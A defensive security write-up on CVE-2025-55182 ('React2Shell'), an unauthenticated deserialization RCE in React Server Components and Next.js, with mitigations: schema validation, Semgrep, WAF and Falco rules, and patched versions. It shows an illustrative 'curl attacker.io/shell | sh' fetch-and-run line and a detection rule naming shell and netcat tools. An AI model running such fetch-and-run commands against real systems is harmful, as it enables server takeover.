On December 5, 2025, active exploitation of CVE-2025-55182 was detected in the wild. A single HTTP POST request to any React Server Function could achieve full remote code execution on the server — no authentication required. The vulnerability affected every application using React Server Components, including the entire Next.js ecosystem. Within days, incident response teams across the industry were scrambling to patch millions of deployments.

This was not a misconfiguration. It was a design flaw in how React trusted its own components.

What Is React2Shell?

React Server Components (RSC) introduced a programming model where components can run exclusively on the server. Server Functions (formerly “Server Actions”) allow the client to invoke server-side logic via HTTP POST requests. The framework serializes arguments on the client, sends them over the wire, and deserializes them on the server.

CVE-2025-55182 — dubbed React2Shell — exploits the deserialization step. The server blindly trusted the serialized payload from the client, assuming it originated from a legitimate React component. An attacker could craft a malicious serialized object that, when deserialized by the Node.js runtime, executed arbitrary system commands.

DetailValue
CVE IDCVE-2025-55182
CVSS Score10.0 (Critical)
Attack VectorNetwork (HTTP POST)
AuthenticationNone required
ComplexityLow
ImpactFull RCE under Node.js process
Exploitation in the wildConfirmed since December 5, 2025

The Root Cause: Default Trust Between Components

The fundamental issue is a trust boundary violation. React’s architecture assumed that data flowing from client components to server components was inherently trustworthy — after all, the framework itself generated the serialized payloads on the client side. This “default trust” model ignored a basic security principle: anything the client sends can be tampered with.

The deserialization logic in Server Functions accepted complex object types without validating their structure or constraining what could be instantiated. This turned every Server Function into an implicit eval() endpoint.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Simplified illustration of the vulnerable pattern
// The server function receives and deserializes the client payload
"use server";

export async function updateProfile(formData) {
  // React's internal deserialization reconstructed the object
  // from the HTTP POST body — including crafted prototype chains
  // and callable references that execute during reconstruction.
  const profile = deserializeFromClient(formData); // <-- RCE happens here
  await db.update(profile);
}

React2Shell was the headline, but it exposed a broader attack surface in React Server Components. Multiple related vulnerabilities were disclosed in rapid succession:

CVETypeCVSSDescription
CVE-2025-55182RCE10.0React2Shell — pre-auth remote code execution via deserialization
CVE-2025-55184DoS7.5Server crash via crafted payload to Server Functions
CVE-2025-67779DoS7.5Out-of-memory / CPU exhaustion via malformed RSC stream
CVE-2025-55183Info Disclosure5.3Server-side source code leak under specific conditions
CVE-2026-23864DoS7.5Additional DoS vector disclosed January 2026

All five vulnerabilities target the same architectural surface: the serialization/deserialization boundary between client and server components. Fixing one without addressing the others leaves the application exposed.

How Exploitation Works

The attack is remarkably simple. An attacker sends a single HTTP POST to any Server Function endpoint with a crafted serialized payload:

1
2
3
4
5
6
7
8
9
POST /api/action HTTP/1.1
Host: vulnerable-app.example.com
Content-Type: application/x-react-server-reference

# The payload exploits the deserialization logic to instantiate
# objects with crafted prototype chains that trigger code execution
# during reconstruction. The exact payload structure follows React's
# internal RSC wire format.
0:{"id":"vuln-action-id","bound":"crafted-serialized-payload..."}

On the server, the React runtime deserializes this payload before the Server Function’s application code ever runs. The malicious object’s construction triggers system command execution under the Node.js process:

[attacker] --HTTP POST--> [React RSC deserializer] --spawns--> /bin/sh -c "curl attacker.io/shell | sh"

No authentication. No session. No CSRF token. A single request from curl is sufficient.

Next.js applications are affected too. Next.js uses React Server Components as its rendering engine. CVE-2025-66478 is the Next.js-specific advisory. If you run Next.js with Server Functions enabled, you are vulnerable unless you have patched to a safe version.

Mitigation 1: Static Code Analysis

Before runtime, catch the patterns that create exposure. Static analysis tools can flag Server Functions that accept complex object types without explicit schema validation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// FLAGGED: Server Function accepts untyped input
"use server";
export async function processData(data) { // <-- no schema validation
  await db.insert(data);
}

// SAFER: Explicit schema validation before any processing
"use server";
import { z } from "zod";

const ProfileSchema = z.object({
  name: z.string().max(100),
  email: z.string().email(),
  age: z.number().int().min(0).max(150),
});

export async function processData(rawData) {
  const data = ProfileSchema.parse(rawData); // throws on invalid input
  await db.insert(data);
}

Tools like Semgrep can be configured to detect unvalidated Server Function inputs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# .semgrep/react-server-function-validation.yml
rules:
  - id: unvalidated-server-function-input
    patterns:
      - pattern: |
          "use server";
          export async function $FUNC($INPUT) {
            ...
          }
      - pattern-not-inside: |
          "use server";
          export async function $FUNC($INPUT) {
            ... $SCHEMA.parse($INPUT) ...
          }
    message: >
      Server Function '$FUNC' accepts input without schema validation.
      All Server Function inputs must be validated with zod or a similar
      schema library before processing.
    severity: ERROR
    languages: [javascript, typescript]

Mitigation 2: WAF Rules

A Web Application Firewall can block exploitation attempts at the network edge, buying time while you patch. Both Cloudflare and ModSecurity published rules within days of the disclosure.

Cloudflare WAF

Cloudflare deployed managed rules automatically for customers on Pro+ plans. For custom rules, the key is matching the RSC wire format in POST bodies targeting Server Function endpoints:

# Cloudflare WAF custom rule (expression)
# Block POST requests with RSC serialization markers targeting action endpoints
(http.request.method eq "POST"
  and http.request.uri.path contains "/action"
  and any(http.request.headers["content-type"][*] contains "react-server")
  and http.request.body.size > 2048)

ModSecurity (OWASP CRS)

For self-hosted WAFs, ModSecurity rules can inspect POST bodies for the attack signatures:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# modsecurity/react2shell-rules.conf
# Block crafted RSC deserialization payloads
SecRule REQUEST_METHOD "POST" \
  "id:100001,\
   phase:2,\
   deny,\
   status:403,\
   chain,\
   msg:'Potential React2Shell exploitation attempt (CVE-2025-55182)'"
  SecRule REQUEST_BODY "@rx (?:__proto__|constructor\s*\[|prototype\s*\.)" \
    "t:none,t:urlDecodeUni,t:lowercase"

# Block oversized RSC payloads to Server Functions
SecRule REQUEST_METHOD "POST" \
  "id:100002,\
   phase:1,\
   deny,\
   status:413,\
   chain,\
   msg:'Oversized RSC payload — possible DoS (CVE-2025-55184/CVE-2025-67779)'"
  SecRule REQUEST_HEADERS:Content-Type "@contains react-server" \
    "chain"
    SecRule REQUEST_HEADERS:Content-Length "@gt 65536"
WAF rules are a stopgap, not a fix. Sophisticated attackers can encode payloads to evade pattern matching. WAFs reduce the attack surface for opportunistic exploitation but will not stop a determined adversary. Patch your dependencies.

Mitigation 3: Runtime Detection

Even after patching, monitoring for exploitation attempts provides defense-in-depth. The key indicators are anomalous process spawning and unexpected network connections originating from your Node.js process.

Detecting Anomalous Child Processes

A Node.js application running React should never spawn shell processes. Any sh, bash, curl, wget, or nc execution from the Node.js process tree is a strong signal of compromise:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Falco rule — detect shell spawning from Node.js
- rule: Shell Spawned by Node.js Application
  desc: >
    Detects shell or utility process spawned as a child of node/next-server,
    which may indicate React2Shell exploitation or post-exploitation activity.
  condition: >
    spawned_process
    and proc.pname in (node, next-server)
    and proc.name in (sh, bash, dash, curl, wget, nc, ncat, python, python3, perl)
    and container.id != host
  output: >
    Suspicious child process spawned by Node.js
    (user=%user.name parent=%proc.pname command=%proc.cmdline
     container=%container.name image=%container.image.repository)
  priority: CRITICAL
  tags: [application, mitre_execution, react2shell]

Detecting Unexpected Outbound Connections

Post-exploitation typically involves callback connections to attacker infrastructure:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Falco rule — detect outbound connections from Node.js to unusual ports
- rule: Unexpected Outbound Connection from Node.js
  desc: >
    Detects outbound network connections from the Node.js process to ports
    other than standard HTTP/HTTPS/DNS, which may indicate reverse shell
    or data exfiltration following React2Shell exploitation.
  condition: >
    outbound
    and proc.name = "node"
    and not fd.sport in (80, 443, 53, 5432, 3306, 6379, 27017)
    and container.id != host
  output: >
    Node.js initiated unexpected outbound connection
    (user=%user.name command=%proc.cmdline connection=%fd.name
     container=%container.name image=%container.image.repository)
  priority: WARNING
  tags: [application, mitre_command_and_control, react2shell]

SIEM Correlation

Forward your application and WAF logs to your SIEM and create correlation rules. A high-confidence alert combines multiple signals:

SignalSourceConfidence Alone
POST to Server Function with malformed bodyWAF logsLow (could be a bug)
Node.js spawns sh or curlFalco / auditdHigh
Outbound connection to unknown IP on port 4444Network monitoringMedium
All three within 5 secondsSIEM correlationCritical

Mitigation 4: Input Validation and Serialization Boundaries

The architectural fix is to never trust deserialized input without explicit validation. This applies beyond React — any framework that serializes complex objects across a trust boundary is vulnerable to the same class of attack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Enforce a strict serialization boundary at every Server Function
"use server";
import { z } from "zod";

// Define the exact shape of what you expect — nothing more
const OrderSchema = z.object({
  productId: z.string().uuid(),
  quantity: z.number().int().positive().max(100),
  shippingAddress: z.object({
    street: z.string().max(200),
    city: z.string().max(100),
    zip: z.string().regex(/^\d{5}(-\d{4})?$/),
  }),
});

export async function placeOrder(rawInput: unknown) {
  // This parse step is the serialization boundary.
  // It rejects anything that doesn't match the schema,
  // including crafted prototype chains and callable references.
  const order = OrderSchema.parse(rawInput);

  // Only validated, plain data reaches your business logic
  return await orderService.create(order);
}
Schema validation must happen before any other logic. If you validate after accessing properties of the deserialized object, the malicious code may have already executed during property access via getters or proxy traps.

Mitigation 5: Patching Strategy

Patching is non-negotiable. Here are the safe versions as documented by Unit42:

React

BranchVulnerablePatched
19.0.x<= 19.0.319.0.4
19.1.x<= 19.1.419.1.5
19.2.x<= 19.2.319.2.4

Next.js

BranchPatched Version
15.0.x15.0.5
15.1.x15.1.9
15.2.x15.2.6
15.3.x15.3.6
15.4.x15.4.8
15.5.x15.5.7
16.0.x16.0.7

Verify your installed versions and patch immediately:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Check current React version
npm ls react

# Update to the latest patched version in your branch
npm install react@19.2.4 react-dom@19.2.4

# For Next.js
npm ls next
npm install next@15.5.7

# Verify no vulnerable versions remain in the dependency tree
npm audit --production

If you cannot patch immediately, disable Server Functions entirely as a temporary measure:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// next.config.js — disable Server Actions as an emergency mitigation
/** @type {import('next').NextConfig} */
const nextConfig = {
  experimental: {
    serverActions: {
      enabled: false, // disables all Server Functions
    },
  },
};

module.exports = nextConfig;

Lessons Learned

React2Shell is a case study in what happens when a framework abstracts away the client-server boundary without enforcing trust boundaries at the serialization layer.

1. Trust boundaries must be explicit, not implicit. React’s programming model made it natural to pass objects between client and server components as if they were in the same process. They are not. Every network hop is a trust boundary, and every deserialization point is a potential code execution vector.

2. Shift-left security must include framework-level analysis. Traditional SAST tools scan your application code, but React2Shell lived in the framework’s deserialization logic — code that most teams never audit. Dependency scanning, SBOM tracking, and framework-specific security advisories are not optional.

3. Defense-in-depth is not a buzzword. No single control would have prevented exploitation across all environments. The organizations that responded fastest had layered defenses: WAF rules blocked the initial wave, runtime monitoring detected bypass attempts, and rapid patching eliminated the root cause.

4. Deserialization is the new eval(). The security community learned this lesson with Java (Apache Commons Collections, Log4Shell) and PHP (unserialize). Now JavaScript frameworks are learning it the hard way. Any mechanism that reconstructs objects from untrusted input is an attack surface.

5. The supply chain includes your framework. React is used by millions of applications. A single vulnerability in its core serialization logic gave attackers pre-auth RCE across the entire ecosystem. Treating framework dependencies as trusted by default is the same mistake React made with client-to-server payloads.

Conclusion

CVE-2025-55182 was a reminder that abstraction has a cost. React Server Components made it seamless to invoke server-side logic from the client — so seamless that the framework forgot it was crossing a trust boundary. The result was a CVSS 10.0 vulnerability that reduced the gap between “visiting a URL” and “owning the server” to a single HTTP POST.

The defensive playbook is not new: validate all input at serialization boundaries, monitor for anomalous runtime behavior, layer WAF rules as a first line of defense, and patch aggressively. What is new is the scale — when the vulnerability lives in a framework used by millions of applications, the window between disclosure and mass exploitation is measured in hours, not days.

Patch your React and Next.js dependencies. Validate every Server Function input. Monitor your Node.js processes for anomalous behavior. And never assume that the code generating the request is the code you wrote.


References: